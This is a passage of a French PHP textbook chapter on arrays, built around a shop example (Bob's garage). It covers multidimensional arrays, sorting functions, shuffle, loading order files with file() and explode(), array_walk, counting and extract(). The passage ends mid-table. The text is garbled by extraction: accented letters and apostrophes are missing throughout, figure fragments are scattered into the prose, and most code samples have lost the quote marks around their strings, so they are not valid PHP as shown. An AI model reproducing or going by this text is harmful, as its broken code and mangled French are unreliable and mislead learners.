Tableaux multidimensionnels
Les tableaux ne sont pas ncessairement de simples listes de cls et de valeurs. Chaque
lment dun tableau peut lui-mme tre un autre tableau. Cette proprit permet de
crer des tableaux deux dimensions, qui peuvent tre assimils une matrice, ou grille,
caractrise par une largeur et une hauteur, cest--dire un nombre dtermin de lignes
et de colonnes.
Par exemple, nous pourrions avoir recours un tableau deux dimensions pour stocker
plusieurs informations relatives chaque article vendu par lentreprise de Bob.

produ t

la Figure 3.3, chaque ligne dun tableau deux dimensions reprsente un article
particulier et chaque colonne reprsente un attribut (ou un type dinformation) relatif
aux produits.
Code

Description

Prix

PNE

Pneus

100

HUI

Huiles

10

BOU

Bougies

attr buts dun produit

Figure 3.3
Un tableau deux dimensions permet de stocker plus dinformations relatives aux articles vendus
par lentreprise de Bob.

Voici le code PHP qui pourrait tre utilis pour gnrer le tableau de la Figure 3.3 :
$produits = array( array( PNE, Pneus, 100 ),
array( HUI, Huiles, 10 ),
array( BOU, Bougies, 4 ) );

96

Partie I

Utilisation de PHP

Ces lignes font bien apparatre que le tableau $produits se compose dsormais de trois
autres tableaux.
Souvenez-vous que, pour accder un lment dun tableau unidimensionnel, il faut
spcifier le nom du tableau et la cl de llment. Dans un tableau deux dimensions,
laccs seffectue de manire comparable, si ce nest qu chaque lment sont associes deux cls : une ligne et une colonne (la ligne la plus en haut est la ligne 0, tandis
que la colonne la plus gauche est la colonne 0).
Nous pourrions ainsi afficher le contenu du tableau considr ici en accdant dans
lordre et manuellement chaque lment, comme ici :
echo |.$produits[0][0].|.$produits[0][1].|.$produits[0][2].|<br />;
echo |.$produits[1][0].|.$produits[1][1].|.$produits[1][2].|<br />;
echo |.$produits[2][0].|.$produits[2][1].|.$produits[2][2].|<br />;

Nous pourrions obtenir le mme rsultat en insrant une boucle for dans une autre
boucle for, de la manire suivante :
for ( $ligne = 0; $ligne < 3; $ligne++ ) {
for ( $colonne = 0; $colonne < 3; $colonne++ ) {
echo |.$produits[$ligne][$colonne];
}
echo |<br />;
}

Chacune de ces deux variantes conduit au mme affichage dans la fentre du navigateur
web, cest--dire :
|PNE|Pneus|100|
|HUI|Huiles|10|
|BOU|Bougies|4|

La seule diffrence est que la seconde variante est bien plus courte que la premire dans
le cas de tableaux volumineux.
Au lieu de dsigner les colonnes par des numros, vous pouvez choisir dutiliser des
noms de colonnes (voir Figure 3.3). Pour cela, vous pouvez utiliser des tableaux associatifs. Pour enregistrer le mme ensemble darticles dans un tableau associatif dont les
noms de colonnes seraient identiques ceux de la Figure 3.3, vous pouvez crire le
code suivant :
$produits = array( array( Code => PNE,
Description => Pneus,
Prix => 100
),
array( Code => HUI,
Description => Huiles,
Prix => 10
),

Chapitre 3

Utilisation de tableaux

97

array( Code => BOU,


Description => Bougies,
Prix =>4
)
);

Un tel tableau se rvle plus facile manipuler lorsquil sagit de rcuprer une seule
valeur. Il est en effet plus ais de se souvenir que la description dun article est stocke
dans la colonne Description, que de se souvenir quelle est stocke dans la colonne 1.
Avec les indices descriptifs, il nest pas ncessaire de mmoriser quune valeur est stocke
la position [x][y]. Les donnes peuvent y tre facilement retrouves en spcifiant les
noms explicites des lignes et des colonnes.
Nous sommes en revanche privs de la possibilit dutiliser une boucle for pour
parcourir successivement les diffrentes colonnes du tableau. Le fragment de code qui
suit permet dafficher le contenu de ce tableau :
for ( $ligne = 0; $ligne < 3; $ligne++ ) {
echo |.$produits[$ligne][Code].|.
$produits[$ligne][Description].|.
$produits[$ligne][Prix].|<br />;
}

Avec une boucle for nous pouvons parcourir le tableau "externe" $produits indic par
des nombres. Chaque ligne de notre tableau $produits constitue un tableau avec des
indices descriptifs. Les fonctions each() et list() peuvent ensuite tre insres dans
une boucle while pour parcourir les diffrents tableaux internes contenus dans
$produits. Voici le code form dune boucle while imbrique dans une boucle for :
for ( $ligne = 0; $ligne < 3; $ligne++ ) {
while ( list( $cle, $valeur ) = each( $produits[ $ligne ] ) )
{
echo |$valeur;
}
echo |<br />;
}

Vous ntes pas limit deux dimensions : en suivant le mme principe, rien nempche
de crer un tableau dont les lments sont constitus de tableaux, eux-mmes constitus
de tableaux, et ainsi de suite.
Un tableau trois dimensions se caractrise par une largeur, une hauteur et une profondeur. Si vous prfrez vous reprsenter un tableau deux dimensions comme un tableau
compos de lignes et de colonnes, vous pouvez vous reprsenter un tableau trois
dimensions comme un empilement de tels tableaux. Chaque lment est alors rfrenc
par sa couche, sa ligne et sa colonne.

98

Partie I

Utilisation de PHP

Si Bob classe ses articles en diffrentes catgories, un tableau trois dimensions


permettra de stocker cette information supplmentaire. La Figure 3.4 montre la structure
que pourrait avoir un tel tableau.
Figure 3.4
its

Pices camions

rodu

Code

des p
produit

catg
orie

Ce tableau trois
dimensions permet
de classer les articles
en catgories.

Description

Prix

Pices motos
Code

Description

Prix

Pices voitures
Code

Description

Prix

VOI PNE

Pneus

100

VOI HUI

Huiles

10

VOI BOU

Bougies

attributs dun produit

Dans le fragment de code qui suit, il apparat clairement quun tableau trois dimensions
est un tableau contenant des tableaux de tableaux :
$categories = array( array ( array(
array(
array(
),
array ( array(
array(
array(
),
array ( array(
array(
array(
)
);

VOI_PNE, Pneus, 100 ),


VOI_HUI, Huiles, 10 ),
VOI_BOU, Bougies, 4 )
MOT_PNE, Pneus, 120 ),
MOT_HUI, Huiles, 12 ),
MOT_BOU, Bougies, 5 )
CAM_PNE, Pneus, 150 ),
CAM_HUI, Huiles, 15 ),
CAM_BOU, Bougies, 6 )

Ce tableau ne comprenant que des cls numriques, nous pouvons nous servir de
boucles for imbriques pour afficher son contenu :
for ( $couche = 0; $couche < 3; $couche++ ) {
echo "Couche $couche<br />";
for ( $ligne = 0; $ligne < 3; $ligne++ ) {
for ( $colonne = 0; $colonne < 3; $colonne++ ) {

Chapitre 3

Utilisation de tableaux

99

echo |.$categories[$couche][$ligne][$colonne];
}
echo |<br />;
}
}

Compte tenu de la manire dont sont crs les tableaux multidimensionnels, vous
pouvez trs bien produire des tableaux quatre, cinq ou six dimensions. Le langage
PHP nimpose en ralit aucune limite sur le nombre de dimensions dun tableau.
Toutefois, les constructions plus de trois dimensions sont difficiles visualiser.
Des tableaux trois dimensions ou moins suffisent gnralement traiter la plupart des
problmes et situations du monde rel.

Tri de tableaux
Il est souvent trs utile de trier les donnes apparentes qui sont stockes dans un
tableau. Le tri dun tableau unidimensionnel est une opration trs simple.
Utilisation de la fonction sort()
Les deux lignes de code qui suivent trient un tableau dans lordre alphabtique :
$produits = array( Pneus, Huiles, Bougies );
sort($produits);

Aprs lexcution de ce code, les lments contenus dans le tableau sont classs dans
lordre suivant : Bougies, Huiles, Pneus.
Il est galement possible de trier des valeurs en suivant lordre numrique. Prenons le
cas dun tableau contenant les prix des articles vendus par Bob. Le contenu de ce
tableau pourrait tre tri par ordre numrique croissant, au moyen des instructions
suivantes :
$prix = array( 100, 10, 4 );
sort($prix);

Les prix seraient alors classs dans lordre suivant : 4, 10, 100.
Notez que la fonction sort() est sensible la casse ( lutilisation de majuscules/
minuscules). Les lettres majuscules sont classes avant les lettres minuscules : "A" est
infrieur "Z", mais "Z" est infrieur "a".
La fonction admet galement un second paramtre facultatif. Vous pouvez passer lune
des constantes SORT REGULAR (par dfaut), SORT NUMERIC ou SORT STRING. Cette capacit spcifier le type de tri est utile lorsque vous comparez des chanes qui peuvent
contenir des nombres, comme 2 et 12. Numriquement, 2 est infrieur 12 mais, en tant
que chane, 12 est infrieure 2.

100

Partie I

Utilisation de PHP

Utilisation des fonctions asort() et ksort() pour trier des tableaux


Si nous enregistrons des articles et leurs prix dans un tableau cls descriptives, nous
devrons avoir recours diffrents types de fonctions de tri pour obtenir que les cls et
les valeurs correspondantes restent associes lors du tri.
La premire instruction qui suit cre un tableau contenant les trois articles dcrits
prcdemment, avec les prix correspondants, tandis que la deuxime ligne de code trie
ce tableau par ordre de prix croissants :
$prix = array( Pneus=>100, Huiles=>10, Bougies=>4 );
asort($prix);

La fonction asort() trie le contenu du tableau qui lui est fourni en paramtre daprs la
valeur de chaque lment. Dans le tableau considr ici, les valeurs sont les prix tandis
que les cls sont les descriptions textuelles. Pour trier le tableau non pas en fonction des
prix, mais des descriptions, cest la fonction ksort() qui doit tre employe. La fonction ksort() effectue un tri sur la base des cls et non pas des valeurs. Le fragment de
code qui suit gnre un tableau tri en tenant compte de lordre alphabtique des cls
(Bougies, Huiles, Pneus) :
$prix = array( Pneus=>100, Huiles=>10, Bougies=>4 );
ksort($prix);

Tri dans lordre inverse


Nous venons dexaminer les fonctions de tri sort(), asort() et ksort(), qui effectuent
toutes trois des tris par ordre croissant. chacune de ces fonctions correspond une
fonction de tri inverse, dont la fonctionnalit est identique si ce nest quelle procde
un tri dcroissant. Ces versions inverses des fonctions de tri sont respectivement
rsort(), arsort() et krsort().
Les fonctions de tri inverses sutilisent de la mme manire que les fonctions de tri vues
jusquici. La fonction rsort() permet de trier par ordre dcroissant un tableau unidimensionnel indic numriquement. La fonction arsort() trie par ordre dcroissant un
tableau unidimensionnel selon les valeurs des lments. Quant la fonction krsort(),
elle trie un tableau unidimensionnel par ordre dcroissant, selon les cls des lments.

Tri de tableaux multidimensionnels


Le tri dun tableau plusieurs dimensions, ou en suivant un ordre autre que les ordres
alphabtique ou numrique, est plus compliqu. En effet, PHP sait comparer deux
nombres ou deux chanes de caractres mais, dans un tableau multidimensionnel,
chaque lment est lui-mme un tableau, or PHP ne connat pas demble les critres
retenir pour comparer deux tableaux. Par consquent, vous devez crer une mthode

Chapitre 3

Utilisation de tableaux

101

pour oprer cette comparaison. Le plus souvent, la comparaison de mots ou de nombres


est triviale. En revanche, pour des objets complexes, elle peut se rvler problmatique.
Tris dfinis par lutilisateur
Soit le tableau dj considr prcdemment et dont la dfinition est la suivante :
$produits = array( array( PNE, Pneus, 100 ),
array( HUI, Huiles, 10 ),
array( BOU, Bougies, 4 ) );

Ce tableau contient trois articles vendus par lentreprise de Bob, avec un code, une
description et un prix par article.
quel rsultat aboutira le tri de ce tableau ? Deux types dordres au moins pourraient
ici tre utiles : un tri des articles par ordre alphabtique des descriptions ou par ordre
numrique des prix. Chacun de ces tris peut tre implment en utilisant la fonction
usort() et en indiquant linterprteur PHP le critre sur lequel la comparaison doit
seffectuer. Pour cela, nous allons devoir crire notre propre fonction de comparaison.
Le fragment de code donn ci-aprs conduit au tri du tableau selon lordre alphabtique
des descriptions, cest--dire par rapport la deuxime colonne du tableau :
function compare($x, $y){
if ( $x[1] == $y[1] ) {
return 0;
} else if ( $x[1] < $y[1] ){
return -1;
} else
return 1;
}
}
usort($produits, compare);

Jusquici, nous nous sommes servis dun certain nombre de fonctions prdfinies de
PHP. Pour trier notre tableau, nous avons eu besoin de dfinir notre propre fonction.
Lcriture de fonctions personnalises est traite en dtail au Chapitre 5 mais, pour
lheure, en voici une brve introduction.
En PHP, la dfinition dune fonction requiert le mot-cl function. Pour dfinir une
fonction personnalise, vous devez lui attribuer un nom, quil est conseill de choisir
soigneusement. Ici, par exemple, nous avons choisi dappeler notre fonction
compare(). Nombre de fonctions attendent des paramtres. Notre fonction compare()
en prend deux : un appel x et un appel y. Cette fonction sert comparer les deux
valeurs qui lui sont passes en paramtre et dterminer leur ordre.
Pour cet exemple, les paramtres x et y contiendront deux des tableaux contenus dans le
tableau principal et qui reprsentent chacun un article diffrent. Pour accder au champ
Description du tableau x, nous devons crire $x[1]. En effet, la Description est le

102

Partie I

Utilisation de PHP

deuxime lment dans chacun des "sous-tableaux" et la numrotation commence


zro. $x[1] et $y[1] permettent donc de comparer les champs Description stocks
dans les tableaux passs comme arguments la fonction compare().
Lorsque lexcution dune fonction sachve, celle-ci peut renvoyer une rponse au
code qui la appele. On dit alors que la fonction renvoie une valeur. Pour cela, vous
devez utiliser le mot-cl return. Par exemple, la ligne de code return 1; renvoie la
valeur 1 au code qui a appel la fonction.
Pour tre utilisable par usort(), compare() doit comparer x et y et renvoyer 0 si x est
gal y, un nombre ngatif si x est infrieur y et un nombre positif si x est suprieur
y. Notre fonction compare renvoie donc 0, 1 ou 1 selon les valeurs x et y qui lui sont
fournies.
La dernire ligne du code prcdent appelle la fonction prdfinie usort() en lui
passant en paramtre le nom du tableau trier ($produits) et le nom de la fonction de
comparaison personnalise (compare()).
Pour trier notre tableau sur dautres critres, il suffit dcrire une autre fonction de
comparaison. Pour, par exemple, trier le tableau en fonction des prix, la comparaison
doit porter sur la troisime colonne des tableaux. La dfinition de la fonction compare()
devrait alors tre la suivante :
function compare($x, $y) {
if ( $x[2] == $y[2] ) {
return 0;
} else if ( $x[2] < $y[2] ) {
return -1;
} else
return 1;
}
}

Lappel usort($produits, compare) entrane le tri du tableau par ordre de prix


croissants.
La prfixe "u" de la fonction usort() est labrviation de user (utilisateur) car cette
fonction requiert la spcification dune fonction de comparaison dfinie par lutilisateur. De la mme manire, les versions uasort() et uksort() des fonctions asort et
ksort ncessitent galement quune fonction de comparaison dfinie par lutilisateur
leur soit passe en paramtre.
La fonction uasort() fait pendant la fonction asort() et sutilise pour trier un
tableau indic numriquement selon les valeurs. Si ces valeurs sont des nombres ou du
texte, utilisez asort mais, si ce sont des objets plus complexes, comme des tableaux,
dfinissez une fonction de comparaison et utilisez uasort().

Chapitre 3

Utilisation de tableaux

103

La fonction uksort() fait pendant la fonction ksort() et sutilise pour trier un


tableau associatif selon ses cls. Si ces cls sont des nombres ou du texte, utilisez ksort
mais, si ce sont des objets plus complexes, comme des tableaux, dfinissez une fonction
de comparaison et utilisez uksort().
Tris dfinis par lutilisateur, dans lordre inverse
Chacune des fonctions sort(), asort() et ksort() a sa fonction quivalente
commenant par "r" pour produire un tri dans lordre inverse. Les tris dfinis par
lutilisateur nont pas de variantes "inverses", mais vous pouvez quand mme trier
en ordre inverse un tableau multidimensionnel en fonction dun ordre inverse en
crivant une fonction de comparaison qui renvoie les valeurs opposes. Il suffit que
la fonction de comparaison renvoie 1 lorsque $x est infrieur $y et 1 lorsque $x est
suprieur $y :
function compareInverse($x, $y) {
if ( $x[2] == $y[2] ) {
return 0;
} else if ( $x[2] < $y[2] ) {
return 1;
} else
return -1;
}
}

Dans notre exemple, lappel de usort($produits, compareInverse) produirait un


tableau tri par ordre de prix dcroissants.

Rordonner des tableaux


Dans certaines applications, il peut tre ncessaire de "rordonner" des tableaux selon
dautres critres. La fonction shuffle() permet de "mlanger" les lments dun
tableau, cest--dire de les ordonner de manire alatoire. La fonction
array reverse() permet quant elle dobtenir une copie dun tableau dans laquelle
tous les lments ont t tris dans lordre inverse.
Utilisation de la fonction shuffle()
Bob aimerait que la page daccueil de son site prsente quelques-uns des produits
proposs la vente. Il voudrait montrer trois des articles de son catalogue choisis au
hasard et faire en sorte que ceux-ci soient diffrents chaque nouvelle visite de ses
clients, pour prserver lintrt de ces derniers. Ceci est trs facile raliser si tous les
articles sont stocks dans un tableau. Lexcution du code du Listing 3.1 permet dafficher trois images choisies au hasard : le contenu du tableau est rordonn de manire
alatoire et seuls ses trois premiers lments sont affichs.

104

Partie I

Utilisation de PHP

Listing 3.1 : bobs_front_page.php Utilisation de PHP pour produire une page


daccueil dynamique sur le site web du garage de Bob
<?php
$images = array(pneu.jpg, huile.jpg, bougie.jpg,
porte.jpg, volant.jpg,
thermostat.jpg, essuie_glace.jpg,
joint.jpg, plaquette_frein.jpg);
shuffle($images);
?>
<html>
<head>
<title>Le garage de Bob</title>
</head>
<body>
<h1>Le garage de Bob</h1>
<div align="center">
<table width = 100%>
<tr>
<?php
for ( $i = 0; $i < 3; $i++ ) {
echo <td align="center"><img src=";
echo $images[$i];
echo " width="100" height="100"></td>;
}
?>
</tr>
</table>
</div>
</body>
</html>

Le code du Listing 3.1 effectuant une slection alatoire dimages, il conduit laffichage dune page diffrente chaque chargement ou presque (voir Figure 3.5).
Figure 3.5
La fonction shuffle()
est utilise ici pour
afficher trois articles
choisis au hasard.

Chapitre 3

Utilisation de tableaux

105

Utilisation de la fonction array_reverse()


La fonction array reverse() prend un tableau en paramtre et en cre un nouveau
dont le contenu est celui de dpart tri dans lordre inverse. Considrons par exemple le
cas dun tableau contenant un dcompte de dix un. Il ya plusieurs faons de produire
un tel tableau.
La fonction range() cre gnralement une srie croissante que vous pouvez trier par
ordre dcroissant en utilisant array reverse() ou rsort(). Nous pouvons galement
crer les lments du tableau un un, au moyen dune boucle for, comme ici :
$nombres = array();
for($i = 10; $i > 0; $i--) {
array_push( $nombres, $i );
}

Une boucle for peut procder par ordre dcroissant : il suffit de choisir une valeur
initiale suffisamment leve et dutiliser loprateur
pour dcrmenter le compteur
dune unit chaque rptition de la boucle.
Le code prcdent commence par crer un tableau vide, puis remplit peu peu ce
tableau grce la fonction array push (), laquelle ajoute chaque nouvel lment la
fin du tableau. La fonction array pop() fait pendant la fonction array push() : elle
supprime et renvoie llment situ la fin du tableau qui lui est pass en paramtre.
Nous pouvons galement utiliser la fonction array reverse() pour trier dans lordre
inverse un tableau produit avec range() :
$nombres = range(1,10);
$nombres = array_reverse($nombres);

Notez que la fonction array reverse() renvoie une copie modifie du tableau qui lui
est pass en paramtre. Si, comme ici, vous ne souhaitez pas conserver le tableau initial,
il suffit de lcraser avec la nouvelle copie.
Si vos donnes correspondent simplement une plage dentiers, vous pouvez crer
cette plage en ordre inverse en passant 1 comme paramtre de pas range() :
$nombres = range(10, 1, -1);

Chargement de tableaux partir de fichiers


Nous avons vu au Chapitre 2 comment enregistrer les commandes client dans un
fichier. Chaque ligne se prsentait de la manire suivante :
15:42 le 20-04 4 pneus 1 bidons dhuiles 6 bougies 434.00 22 rue noire, Toulouse

Pour traiter cette commande, nous pouvons avoir besoin de recharger le contenu de ce
fichier dans un tableau. Le script prsent dans le Listing 3.2 permet dafficher le
contenu de ce fichier.

106

Partie I

Utilisation de PHP

Listing 3.2 : vieworders.php Utilisation de PHP pour afficher le contenu du fichier


de commandes de lentreprise de Bob
<?php
// Cration dun nom abrg de variable
$DOCUMENT_ROOT = $_SERVER[DOCUMENT_ROOT];
$commandes = file("$DOCUMENT_ROOT/../orders/orders.txt");
$nbre_de_cdes = count($commandes);
if ($nbre_de_cdes == 0) {
echo "<p><strong>Aucune commande en attente.
Ressayez plus tard.</strong></p>";
}
for ($i = 0; $i < $nbre_de_cdes; $i++) {
echo $commandes[$i]."<br />";
}
?>

Ce script produit presque le mme affichage que le Listing 2.3, au Chapitre 2 (voir
Figure 2.4). Cette fois, cependant, on utilise la fonction file() pour charger lintgralit du fichier dans un tableau. Chaque ligne du fichier devient alors un lment du
tableau ainsi produit.
Par ailleurs, le Listing 3.2 utilise la fonction count() pour dterminer le nombre
dlments contenus dans le tableau cr.
Nous pouvons aller plus loin et charger chacune des sections des lignes de commandes
dans des lments tableaux distincts, afin de traiter les sections sparment les unes des
autres ou de les mettre en forme de manire plus attractive. Cest ce que fait le code du
Listing 3.3.
Listing 3.3 : vieworders2.php Utilisation de PHP pour sparer, mettre en forme
et afficher les commandes reues par lentreprise de Bob
<?php
// Cration dun nom abrg de variable
$DOCUMENT_ROOT = $_SERVER[DOCUMENT_ROOT];
?>
<html>
<head>
<title>Le garage de Bob - Commandes clients</title>
</head>
<body>
<h1>Le garage de Bob</h1>
<h2>Commandes clients</h2>
<?php
// Lecture du fichier complet.
// Chaque commande devient un lment du tableau
$commandes = file("$DOCUMENT_ROOT/../orders/orders.txt");

Chapitre 3

Utilisation de tableaux

107

// Compte le nombre de commandes dans le tableau


$nbre_de_cdes = count($commandes);
if ($nbre_de_cdes == 0) {
echo "<p><strong>Aucune commande en attente.
Ressayez plus tard.</strong></p>";
}
echo "<table border=\"1\">\n";
echo "<tr><th bgcolor=\"#CCCCFF\">Date commande</th>
<th bgcolor=\"#CCCCFF\">Pneus</th>
<th bgcolor=\"#CCCCFF\">Huiles</th>
<th bgcolor=\"#CCCCFF\">Bougies</th>
<th bgcolor=\"#CCCCFF\">Total</th>
<th bgcolor=\"#CCCCFF\">Adresse</th>
<tr>";
for ($i = 0; $i < $nbre_de_cdes; $i++) {
// Dcoupage de chaque ligne
$ligne = explode("\t", $commandes[$i]);
// On ne conserve que le nombre darticles commands
$ligne[1] = intval($ligne[1]);
$ligne[2] = intval($ligne[2]);
$ligne[3] = intval($ligne[3]);
// Affiche chaque commande
echo "<tr>
<td>".$ligne[0]."</td>
<td align=\"right\">".$ligne[1]."</td>
<td align=\"right\">".$ligne[2]."</td>
<td align=\"right\">".$ligne[3]."</td>
<td align=\"right\">".$ligne[4]."</td>
<td>".$ligne[5]."</td>
</tr>";
}
echo "</table>";
?>
</body>
</html>

Le code du Listing 3.3 charge lintgralit du fichier dans un tableau. Contrairement au


Listing 3.2, cest ici la fonction explode() qui est employe pour dcouper chaque
ligne avant les oprations de traitement et de mise en forme avant affichage.

108

Partie I

Utilisation de PHP

Le rsultat obtenu lexcution du Listing 3.3 est montr la Figure 3.6.

Figure 3.6
Aprs le dcoupage des lignes de commande avec explode(), les diffrentes sections de chaque
commande sont places dans des cellules spares dun tableau, de faon amliorer la prsentation
des rsultats.

Voici le prototype de la fonction explode() :


array explode(string sparateur, string chane [, int limite])

Au cours du Chapitre 2, nous avons utilis le caractre de tabulation en guise de dlimiteur lors de lenregistrement de ces donnes. Cest pourquoi lappel de la fonction
explode() est ici ralis de la manire suivante :
explode( "\t", $commandes[$i] )

Cette instruction a pour effet de dcouper la chane passe comme deuxime paramtre.
Chaque caractre de tabulation devient une sparation entre deux lments. Ainsi, la
chane :
"15:42 le 20-04 4 pneus 1 bidons dhuiles 6 bougies 434.00 22 rue noire, Toulouse"

est dcoupe en six parties, "15:42 le 20 04", "4pneus", "1bidons dhuiles",


"6bougies", "434.00" et "22rue noire, Toulouse".
Vous pouvez galement utiliser le paramtre facultatif limit pour limiter le nombre
maximal de parties renvoyes.
Dans le code du Listing 3.3, le traitement auquel sont soumises les donnes extraites du
fichier des commandes est minimal. Nous nous contentons dafficher les quantits de
chaque article et dajouter au tableau une ligne den-tte indiquant la signification
des nombres affichs.

Chapitre 3

Utilisation de tableaux

109

Nous aurions pu procder de plusieurs autres manires pour extraire les nombres contenus dans ces chanes. Dans le Listing 3.3, nous avons utilis la fonction intval() qui
convertit une chane en nombre entier. Cette conversion ne pose pas de problme puisque les parties qui ne peuvent pas tre converties en nombres entiers sont ignores.
Nous tudierons diverses autres mthodes de traitement des chanes au cours du
prochain chapitre.

Autres manipulations de tableaux


Nous navons vu jusquici que la moiti environ des fonctions de traitement de tableaux
offertes par PHP. La plupart des autres ne servent que de manire occasionnelle.
Parcours dun tableau : each, current(), reset(), end(), next(), pos() et prev()
Nous avons vu plus haut que chaque tableau comprend un pointeur interne dirig sur
llment courant du tableau. Nous avons dj fait usage de manire indirecte de ce
pointeur lorsque nous nous sommes servis de la fonction each(), mais il est galement
possible de lutiliser et de le manipuler directement.
la cration dun nouveau tableau, le pointeur est initialis de sorte pointer sur
le premier lment du tableau. Cest ainsi que lappel de current($tableau) renvoie le
premier lment.
Les fonctions next() et each() permettent de faire avancer ce pointeur dun lment.
La fonction each($tableau) renvoie llment courant avant de dplacer le pointeur.
Le comportement de la fonction next($tableau) est lgrement diffrent puisquelle
fait avancer le pointeur puis renvoie le nouvel lment courant.
Comme nous lavons dj mentionn, la fonction reset() fait revenir le pointeur sur
le premier lment dun tableau. De la mme manire, la fonction end() le dplace sur le
dernier lment du tableau qui lui est fourni en paramtre. Les fonctions reset() et
end() renvoient, quant elles, respectivement le premier et le dernier lment dun
tableau.
Pour parcourir un tableau en sens inverse, vous pouvez employer les fonctions end() et
prev(). La fonction prev() est loppos de la fonction next() : elle fait reculer le pointeur
dun lment puis renvoie le nouvel lment courant.
Le code qui suit produit laffichage dun tableau dans lordre inverse :
$valeur = end ($tableau);
while ($valeur) {
echo "$valeur<br />";
$valeur = prev($tableau);
}

110

Partie I

Utilisation de PHP

Si la variable $tableau a t dclare de la manire suivante :


$tableau = array(1, 2, 3);

le rsultat de lexcution du code prcdent sera :


3
2
1

Avec les fonctions each(), current(), reset(), end(), next(), pos() et prev(), vous
pouvez donc parcourir un tableau comme bon vous semble.
Application dune fonction donne chaque lment dun tableau :
array_walk()
Il est parfois ncessaire dappliquer le mme traitement tous les lments dun
tableau : cest l que la fonction array walk() entre en jeu.
Voici le prototype de la fonction array walk() :
bool array_walk(array tableau, string fonction, [mixed donnes_utilisateur])

Tout comme la fonction usort(), array walk() requiert comme second paramtre une
fonction dfinie par lutilisateur.
La fonction array walk() prend trois paramtres. Le premier, tableau, est le tableau
dont on veut traiter le contenu. Le second, fonction, est le nom de la fonction dfinie
par lutilisateur et qui sera applique chaque lment du tableau. Le troisime paramtre, donnes utilisateur, est facultatif. Sil est prsent, il est pass en paramtre
la fonction dfinie par lutilisateur. Nous allons voir un peu plus loin un exemple de
mise en uvre de la fonction array walk().
Il pourrait, par exemple, se rvler trs pratique dattribuer chaque lment dun
tableau une fonction qui applique une mise en forme particulire.
Le code qui suit affiche chaque lment du tableau $tableau sur une nouvelle ligne, en
appliquant chaque lment la fonction mon affichage() :
function mon_affichage($valeur) {
echo "$valeur<br />";
}
array_walk($tableau, mon_affichage);

La signature de la fonction personnalise est particulire. Pour chaque lment du


tableau trait, array walk prend la cl et la valeur enregistres dans le tableau, ainsi
que la valeur spcifie comme paramtre donnes utilisateur, puis appelle la fonction
personnalise de la manire suivante :
fonctionUtilisateur (valeur, cl, donnes_utilisateur)

Chapitre 3

Utilisation de tableaux

111

Dans la plupart des cas, le paramtre donnes utilisateur est inutile ; il ne sert que
lorsque la fonction que vous avez dfinie exige un paramtre.
Il peut galement arriver que la cl de chaque lment soit tout autant ncessaire la
manipulation effectue que la valeur de llment. Mais, comme dans le cas de
mon affichage(), votre fonction peut ignorer aussi bien la cl que le paramtre
donnes utilisateur.
Considrons prsent un exemple un peu plus complexe : nous allons crire une
fonction qui modifie les valeurs dun tableau et attend un paramtre. Notez que, dans
ce cas, nous devons indiquer la cl dans la liste des paramtres afin de pouvoir spcifier le troisime, mme si nous navons pas besoin de cette cl dans le corps de la
fonction :
function ma_multiplication(&$valeur, $cle, $facteur){
$valeur *= $facteur;
}
array_walk(&$tableau, ma_multiplication, 3);

La fonction ma multiplication() multiplie chaque lment du tableau par le facteur


pass en paramtre. Nous devons utiliser le troisime paramtre (facultatif) de la fonction array walk() afin que celle-ci passe ce dernier comme paramtre notre fonction
(laquelle sen sert ensuite comme facteur de la multiplication). Pour que notre fonction ma multiplication() rcupre ce facteur, il est impratif de la dfinir avec trois
arguments : une valeur dlment de tableau ($valeur), une cl dlment de tableau
($cle) et le facteur de multiplication ($facteur). Ici, la fonction ma multiplication()
ignore la cl qui lui est passe en second paramtre.
La manire dont $valeur est passe la fonction ma multiplication() mrite quelques explications. Lesperluette (&) place avant le nom de la variable dans la dfinition
de ma multiplication() indique que $valeur doit tre passe par rfrence. Passer
une variable par rfrence permet la fonction de modifier le contenu de cette variable
et donc, ici, du tableau.
Cette manire de passer les variables aux fonctions est tudie en dtail au Chapitre 5. Si cette notion vous est trangre, il vous suffit pour linstant de savoir que,
pour passer en paramtre une variable par rfrence, il faut placer une esperluette
devant son nom.
Comptage des lments dun tableau :
count(), sizeof() et array_count_values()
Dans un des exemples prcdents, nous avons employ la fonction count() pour
dterminer le nombre des lments dun tableau contenant les commandes des
clients. La fonction sizeof() accomplit la mme tche que la fonction count().

112

Partie I

Utilisation de PHP

Toutes les deux renvoient le nombre dlments du tableau qui leur est pass en paramtres.
Elles renvoient la valeur 1 lorsquelles sont appliques une variable scalaire et 0
lorsquelles sappliquent un tableau vide ou une variable non dfinie.
La fonction array count values() est plus complexe : elle dtermine le nombre
doccurrences de chaque valeur unique dans le tableau qui lui est pass en paramtre
(cest ce que lon appelle la cardinalit du tableau). Cette fonction renvoie un
tableau associatif contenant une table des frquences. Ce tableau a pour cls toutes
les valeurs uniques du tableau pass array count values() et chacune de ces cls
est associe une valeur numrique reprsentant le nombre de ses occurrences dans
le paramtre.
Le code suivant :
$tableau = array(4, 5, 1, 2, 3, 1, 2, 1);
$ac = array_count_values($tableau);

cre un tableau $ac dont le contenu est le suivant :


Cl

Valeur

Dans ce cas prcis, le tableau retourn par array count values() indique que le
tableau $tableau contient une seule fois les valeurs 4, 5 et 3, trois fois la valeur 1, et
deux fois la valeur 2.
Conversion de tableaux en variables scalaires : extract()
Vous pouvez transformer un tableau indices non numriques contenant des paires cl/
valeur en un ensemble de variables scalaires au moyen de la fonction extract().
Le prototype de la fonction extract() est le suivant :
extract(array tableau [, int type_extraction] [, string prfixe] );

La fonction extract() produit des variables scalaires partir du tableau qui lui est
pass en paramtre. Elle utilise les cls pour dfinir les noms de ces variables et les
valeurs des lments comme valeurs des variables.

Chapitre 3

Utilisation de tableaux

113

Voici un exemple simple dutilisation de la fonction extract() :


$tableau = array( cle1 => valeur1, cle2 => valeur2, cle3 => valeur3);
extract($tableau);
echo "$cle1 $cle2 $cle3";

Lexcution de ce code produit le rsultat suivant :


valeur1 valeur2 valeur3

Le tableau $tableau contenant trois lments dont les cls sont cle1, cle2 et cle3, la
fonction extract() applique $tableau cre donc les trois variables scalaires $cle1,
$cle2 et $cle3. Vous pouvez constater dans le rsultat obtenu que les valeurs
de $cle1, $cle2 et $cle3 sont respectivement valeur1, valeur2 et valeur3, qui
proviennent du tableau initial.
La fonction extract() accepte deux arguments facultatifs : type extraction et
prfixe. Le premier indique extract() la manire dont doivent tre gres les collisions, cest--dire les situations o il existe dj une variable de mme nom quune cl.
Le comportement par dfaut consiste craser la variable existante. Le Tableau 3.2
dcrit les quatre valeurs autorises pour type extraction.
Tableau 3.2 : Valeurs possibles du paramtre type_extraction de la fonction extract()

Type

Signification

EXTR OVERWRITE

crase la variable existante en cas de collision.

EXTR SKIP

Saute llment en cas de collision.

EXTR PREFIX SAME

